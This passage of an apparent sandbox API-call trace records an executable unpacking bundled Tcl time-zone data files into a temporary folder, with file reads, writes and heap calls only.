dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.708] GetFileType (hFile=0x10c) returned 0x1 [0038.708] htonl (hostlong=0xf3e05800) returned 0x58e0f3 [0038.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d90f3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.708] htonl (hostlong=0xf2050000) returned 0x5f2 [0038.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5f2) returned 0x550600 [0038.708] htonl (hostlong=0xf2050000) returned 0x5f2 [0038.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.708] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.708] htonl (hostlong=0xb91d0000) returned 0x1db9 [0038.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1db9) returned 0x561090 [0038.708] htonl (hostlong=0xf2050000) returned 0x5f2 [0038.708] htonl (hostlong=0xb91d0000) returned 0x1db9 [0038.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e58 [0038.709] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e58 | out: hHeap=0x530000) returned 1 [0038.709] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.709] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.709] CloseHandle (hObject=0x10c) returned 1 [0038.709] GetLastError () returned 0x0 [0038.709] SetLastError (dwErrCode=0x0) [0038.709] GetLastError () returned 0x0 [0038.709] SetLastError (dwErrCode=0x0) [0038.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.709] GetFileType (hFile=0x10c) returned 0x1 [0038.709] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.709] CloseHandle (hObject=0x10c) returned 1 [0038.709] GetLastError () returned 0x0 [0038.709] SetLastError (dwErrCode=0x0) [0038.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.710] GetFileType (hFile=0x10c) returned 0x1 [0038.710] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.710] CloseHandle (hObject=0x10c) returned 1 [0038.710] GetLastError () returned 0x0 [0038.710] SetLastError (dwErrCode=0x0) [0038.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.710] GetFileType (hFile=0x10c) returned 0x1 [0038.710] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.711] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.711] CloseHandle (hObject=0x10c) returned 1 [0038.711] GetLastError () returned 0x0 [0038.711] SetLastError (dwErrCode=0x0) [0038.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson") returned 71 [0038.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dawson"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.711] GetLastError () returned 0x2 [0038.711] SetLastError (dwErrCode=0x2) [0038.711] GetLastError () returned 0x2 [0038.711] SetLastError (dwErrCode=0x2) [0038.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson", lpFilePart=0x0) returned 0x46 [0038.711] GetLastError () returned 0x2 [0038.711] SetLastError (dwErrCode=0x2) [0038.711] GetLastError () returned 0x2 [0038.711] SetLastError (dwErrCode=0x2) [0038.711] GetLastError () returned 0x2 [0038.711] SetLastError (dwErrCode=0x2) [0038.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson") returned 71 [0038.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dawson"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.712] GetFileType (hFile=0x10c) returned 0x1 [0038.712] htonl (hostlong=0xb91d0000) returned 0x1db9 [0038.712] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.713] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.713] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdb9, lpOverlapped=0x0) returned 1 [0038.714] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.714] CloseHandle (hObject=0x10c) returned 1 [0038.714] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.714] htonl (hostlong=0x30000000) returned 0x30 [0038.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.715] GetFileType (hFile=0x10c) returned 0x1 [0038.715] htonl (hostlong=0xe5e65800) returned 0x58e6e5 [0038.715] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d96e5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.715] htonl (hostlong=0xdf010000) returned 0x1df [0038.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1df) returned 0x550600 [0038.715] htonl (hostlong=0xdf010000) returned 0x1df [0038.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.715] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.715] htonl (hostlong=0x54070000) returned 0x754 [0038.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x754) returned 0x55e278 [0038.715] htonl (hostlong=0xdf010000) returned 0x1df [0038.715] htonl (hostlong=0x54070000) returned 0x754 [0038.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.715] CloseHandle (hObject=0x10c) returned 1 [0038.715] GetLastError () returned 0x0 [0038.715] SetLastError (dwErrCode=0x0) [0038.715] GetLastError () returned 0x0 [0038.715] SetLastError (dwErrCode=0x0) [0038.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.715] GetFileType (hFile=0x10c) returned 0x1 [0038.715] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.715] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.716] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.716] CloseHandle (hObject=0x10c) returned 1 [0038.716] GetLastError () returned 0x0 [0038.716] SetLastError (dwErrCode=0x0) [0038.716] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.716] GetFileType (hFile=0x10c) returned 0x1 [0038.716] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.716] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.716] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.716] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.716] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.716] CloseHandle (hObject=0x10c) returned 1 [0038.717] GetLastError () returned 0x0 [0038.717] SetLastError (dwErrCode=0x0) [0038.717] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.717] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.717] GetFileType (hFile=0x10c) returned 0x1 [0038.717] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.717] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.717] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.717] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.717] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.717] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.717] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.717] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.717] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.717] CloseHandle (hObject=0x10c) returned 1 [0038.717] GetLastError () returned 0x0 [0038.717] SetLastError (dwErrCode=0x0) [0038.717] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek") returned 77 [0038.717] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dawson_creek"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.717] GetLastError () returned 0x2 [0038.717] SetLastError (dwErrCode=0x2) [0038.717] GetLastError () returned 0x2 [0038.717] SetLastError (dwErrCode=0x2) [0038.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek", lpFilePart=0x0) returned 0x4c [0038.717] GetLastError () returned 0x2 [0038.718] SetLastError (dwErrCode=0x2) [0038.718] GetLastError () returned 0x2 [0038.718] SetLastError (dwErrCode=0x2) [0038.718] GetLastError () returned 0x2 [0038.718] SetLastError (dwErrCode=0x2) [0038.718] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek") returned 77 [0038.718] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dawson_Creek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dawson_creek"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.718] GetFileType (hFile=0x10c) returned 0x1 [0038.718] htonl (hostlong=0x54070000) returned 0x754 [0038.718] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.718] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x754, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x754, lpOverlapped=0x0) returned 1 [0038.744] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.744] CloseHandle (hObject=0x10c) returned 1 [0038.745] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.745] htonl (hostlong=0x40000000) returned 0x40 [0038.745] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.745] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.745] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.745] GetFileType (hFile=0x10c) returned 0x1 [0038.745] htonl (hostlong=0xc4e85800) returned 0x58e8c4 [0038.745] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d98c4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.745] htonl (hostlong=0x83060000) returned 0x683 [0038.745] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x683) returned 0x55e278 [0038.745] htonl (hostlong=0x83060000) returned 0x683 [0038.745] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.745] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, 